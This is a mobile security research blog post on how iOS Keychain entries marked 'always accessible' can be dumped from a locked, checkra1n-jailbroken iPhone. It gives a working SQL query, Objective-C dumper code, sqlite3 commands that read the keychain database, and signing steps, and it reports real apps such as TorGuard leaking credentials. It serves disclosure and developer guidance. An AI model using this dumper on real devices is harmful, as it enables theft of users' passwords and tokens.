Stealing your app’s keychain entries from locked iPhone

In this article, we wanted to show you that the Keychain is the right place to store your app’s secrets, but it has to be used wisely. Setting bad accessible attributes may allow attackers to steal secrets from relatively modern iPhones with the newest iOS versions.

Wojciech Reguła 2021.01.05   –   12 MIN read
Stealing your app's keychain entries from locked iPhone

What is the Keychain?

Keychain is essentially the safest place on your phone in terms of storing data. It is used by developers to store passwords, certificates, identities, or other keys in many forms. It is quickly adopted and many developers already understand how important it is to keep the most sensitive data in a place that was made exactly for this purpose. As good as it sounds, this doesn’t mean that using a keychain makes your application 100% safe. (Not so) Commonly made mistakes during the development process like using a deprecated API or not updating the app for a long time may lead to user data being exposed for future attacks. Oftentimes, developers tend to use incorrect attributes to secure their keys. Sometimes because of lack of experience, sometimes because “this way it was easier”. 

Until the end of last year, we could say that getting access to the keychain is difficult and our data is mostly secure. Stealing data from someone’s keychain wasn’t trivial. Victims’ phones usually needed to be already jailbroken and best if the password for ssh wasn’t changed from *alpine*. In this article, we will show you how to access some Keychain entries in a different way.

What can go wrong?

Asking yourself “What can go wrong if I store data like this?” should be common practice while writing code. Sadly, in an environment where everything has to work until yesterday, no one has time for questioning if storing “Password1235” as plaintext with the attribute “Accessible always” is a good idea. No time for that. And then, there are consequences.

Checkm8 – bootrom exploit by @axi0mix  revolutionized the Jailbreak scene, the world of tweak writers, but what’s the most important – had a huge impact on security. 

Apple quickly realized what is happening around and had to re-think what and when is accessible to reduce the amount of vulnerable data. Keychain – the safest place for storing data became vulnerable as well. Accessing keys with the attribute “kSecAttrAcessibleAlways” “kSecAttrAcessibleAlwaysThisDeviceOnly” was an obvious choice for apple to restrict, so they quickly deprecated those options and added warnings in Xcode to, well… warn developers not to use those attributes. And so half a year later @m1nacriss released his m1napatcher that was simply getting rid of USB-Restricted mode and at the same time allowing not authorized users to jailbreak devices that previously needed to be unlocked. Now the very same functionality is included in checkra1n jailbreak, allowing the attacker to deploy ssh and any binary it wants to iDevice that is being in its hands. Here joins the main character of today’s episode – keychain dumper. 

Keychain dumper is a simple, yet powerful application that allows you to extract keys from the iOS keychain. Accessing different parts of the keychain utilizes different requirements for dumping its information. From the point of the attacker – low hanging fruit as “kSecAttrAccessibleAlways” is exactly what we’re looking for. No password is needed, not even for the lock screen. 

Our team decided to investigate how much data we can extract from over a hundred different applications including VPNs, password managers, and most popular applications in Canadian, Polish, and Japanese App Store. We looked for keys, tokens, passwords… basically everything that could be useful for an attacker. And the results were surprising.

AccessibleAlways keychain attribute was common even in popular applications.

Dumping always accessible entries

As we showed in the previous section, there are entries that can be dumped always, even from locked iPhone

Before we can create and install the keychain dumper, we have to jailbreak our iDevice. For that purpose we used unc0ver jailbreak that works for iPhones up to X. All we need is just to turn the iPhone to recovery mode, connect the device to our mac and run the checkra1n. After completion, we can connect via SSH. Remember that the SSH server is bound to port 44 (not 22). Another interesting thing is that we have skipped the USB Restricted Mode. New versions of the checkra1n kill that so we do not have to worry about it:

So, when creating a Keychain dumper we had to make sure we would ask only for the always accessible entries. So, at first, we open the Keychain-2.db database and query for the vulnerable application groups:

select distinct agrp from genp where pdmn in ('dk', 'dku') union select distinct agrp from inet where pdmn in ('dk', 'dku') union select distinct agrp from cert where pdmn in ('dk', 'dku') union select distinct agrp from keys where pdmn in ('dk', 'dku');

Let’s analyze the SQL query:

We take data from the following tables:

  • “genp” what stands for Generic Passwords,
  • “inet” what stands for Internet Passwords,
  • “cert” – Certificates,
  • “Keys” – Cryptographic Keys

We are interested in only “dk” and “dku” kSecAttrAccessible values. They stand for:

  • kSecAttrAccessibleAlways (“dk”)
  • kSecAttrAccessibleAlwaysThisDeviceOnly (“dku”)

So, summing it up the query retrieves the application group keychain names that have entries that are accessible always – even before the first unlock. These names will be later used for getting the actual keychain data.

The next step is to create the Keychain query. We have used the following code:

- (NSMutableDictionary *)prepareDict {
    
    NSMutableDictionary *query = [NSMutableDictionary new];
    [query setObject:(__bridge id)kCFBooleanTrue forKey:(__bridge id)kSecReturnAttributes];
    [query setObject:(__bridge id)kSecMatchLimitAll forKey:(__bridge id)kSecMatchLimit];
    [query setObject:(__bridge id)kCFBooleanTrue forKey:(__bridge id)kSecReturnData];
    
    return query;
}
 
- (NSMutableDictionary *)prepareDictWithkSecAccessibleAlways {
    NSMutableDictionary *query = [self prepareDict];
    [query setObject:(__bridge id)kSecAttrAccessibleAlways forKey:(__bridge id)kSecAttrAccessible];
    
    return query;
}
 
- (NSMutableDictionary *)prepareDictWithkSecAccessibleAlwaysThisDeviceOnly {
    NSMutableDictionary *query = [self prepareDict];
    [query setObject:(__bridge id)kSecAttrAccessibleAlwaysThisDeviceOnly forKey:(__bridge id)kSecAttrAccessible];
    
    return query;
}
 
- (void)queryWithGroup:(NSString *)group {
    
    NSArray *secItemClasses = [NSArray arrayWithObjects:
    (__bridge id)kSecClassGenericPassword,
    (__bridge id)kSecClassInternetPassword,
    (__bridge id)kSecClassCertificate,
    (__bridge id)kSecClassKey,
    (__bridge id)kSecClassIdentity,
    nil];
    
    NSArray *dictsWithDifferentAccessibilityLevels = @[[self prepareDictWithkSecAccessibleAlways], [self prepareDictWithkSecAccessibleAlwaysThisDeviceOnly]];
    
    for (NSMutableDictionary *dict in dictsWithDifferentAccessibilityLevels) {
        
        [dict setObject:group forKey:(__bridge id)kSecAttrAccessGroup];
        
        for (id secItemClass in secItemClasses) {
            [dict setObject:secItemClass forKey:(__bridge id)kSecClass];
 
            CFTypeRef result = NULL;
            if(SecItemCopyMatching((__bridge CFDictionaryRef)dict, &result) == noErr) {
                
                if (result != NULL) {
                    
                    NSArray *resultArray = (__bridge NSArray *)result;
                    
                    for (NSDictionary *keychainEntryDict in resultArray) {
                        [self printEntry:keychainEntryDict];
                    }
                    
                    CFRelease(result);
                }
                
            }
        }
    }

Next, we have to build the dumper, and sign with the specific keychain entitlements. This part is tricky. Before iOS 13.5 we could have set the “keychain-access-groups” to “*” (wildcard) and query for all entries. Since iOS 13.5 the wildcard is no longer working. We can dump all the access groups by requesting following commands:

sqlite3 /var/Keychains/keychain-2.db "SELECT DISTINCT agrp FROM genp" > ./groups.txt
sqlite3 /var/Keychains/keychain-2.db "SELECT DISTINCT agrp FROM cert" >> ./groups.txt
sqlite3 /var/Keychains/keychain-2.db "SELECT DISTINCT agrp FROM inet" >> ./groups.txt
sqlite3 /var/Keychains/keychain-2.db "SELECT DISTINCT agrp FROM keys" >> ./groups.txt

 Let’s take Viber’s access group as an example:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
 <dict>
   <key>keychain-access-groups</key>
   <array>
     <string>69V327AA4Z.group.viber.share.keychain</string>
   </array>
   <key>platform-application</key> <true/>
   <key>com.apple.private.security.no-container</key>  <true/>
 </dict>
</plist>

We can sign the application using the “ldid” tool (ldid -Sents.xml app). When the application is prepared, use the “scp” to upload the dumper to your iPhone.

We have opened the dumper and observed Viber’s entries before the first unlock of the iPhone:

Additional thoughts

As we showed in the “What can go wrong” section, applications store sensitive information insecurely. We have observed also that there are also other serious consequences:

Storing PIN to the application

We found one finance application that stored a plaintext PIN with the alwaysAccessible attribute. From our experience users usually use the same PIN in applications and to unlock their iPhones. So, such a scenario may lead to unlocking the device.

Listing applications

Since the Keychain database stores the application access groups it is possible to retrieve a list of installed applications on the iDevice.

Breaking VPNs

Seeing TorGuard storing users password and login in plaintext with kSecAttrAccesibleAlways is even more terrible if you take under consideration that it is most recommended VPN application on TomSpark’s VPN Tier List.

TorGuard has an open bug bounty program, but after half a year we still didn’t get a response for the reported problem, although they changed to kSecAttrAccessibleAlwaysThisDeviceOnly and now they store plaintext information in a form of plist in the Keychain what still can be decoded and accessed.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>$archiver</key>
	<string>NSKeyedArchiver</string>
	<key>$objects</key>
	<array>
		<string>$null</string>
		<dict>
			<key>$class</key>
			<dict>
				<key>CF$UID</key>
				<integer>7</integer>
			</dict>
			<key>email</key>
			<dict>
				<key>CF$UID</key>
				<integer>2</integer>
			</dict>
			<key>id</key>
			<integer>-1</integer>
			<key>vpn-credentials</key>
			<dict>
				<key>CF$UID</key>
				<integer>3</integer>
			</dict>
		</dict>
		<string>anonymous</string>
		<dict>
			<key>$class</key>
			<dict>
				<key>CF$UID</key>
				<integer>6</integer>
			</dict>
			<key>password</key>
			<dict>
				<key>CF$UID</key>
				<integer>5</integer>
			</dict>
			<key>username</key>
			<dict>
				<key>CF$UID</key>
				<integer>4</integer>
			</dict>
		</dict>
		<string>secretmail@mail.com</string>
		<string>SecretPassword</string>
		<dict>
			<key>$classes</key>
			<array>
				<string>MDCredentials</string>
				<string>MDResponse</string>
				<string>NSObject</string>
			</array>
			<key>$classname</key>
			<string>MDCredentials</string>
		</dict>
		<dict>
			<key>$classes</key>
			<array>
				<string>MDUser</string>
				<string>MDResponse</string>
				<string>NSObject</string>
			</array>
			<key>$classname</key>
			<string>MDUser</string>
		</dict>
	</array>
	<key>$top</key>
	<dict>
		<key>root</key>
		<dict>
			<key>CF$UID</key>
			<integer>1</integer>
		</dict>
	</dict>
	<key>$version</key>
	<integer>100000</integer>
</dict>
</plist>

Let’s imagine a worse scenario where an attacker steals the victim’s iPhone, dumps the keychain, and gains access to the company’s internal network.

Summary

In this article, we wanted to show you that the Keychain is the right place to store your app’s secrets, but it has to be used wisely. Setting bad accessible attributes may allow attackers to steal secrets from relatively modern iPhones with the newest iOS versions.

We recommend setting the accessibility attribute at least to kSecAttrAccessibleAfterFirstUnlock.

For the most important secrets consider using kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly which makes sure that the entry will be saved only on a device that has the Passcode/PIN set and the entry will not ever leave the Keychain.

Special thanks to Dawid Pastuszak – co-author of this article.

Wojciech Reguła
Wojciech Reguła Principal IT Security Consultant
Head of Mobile Security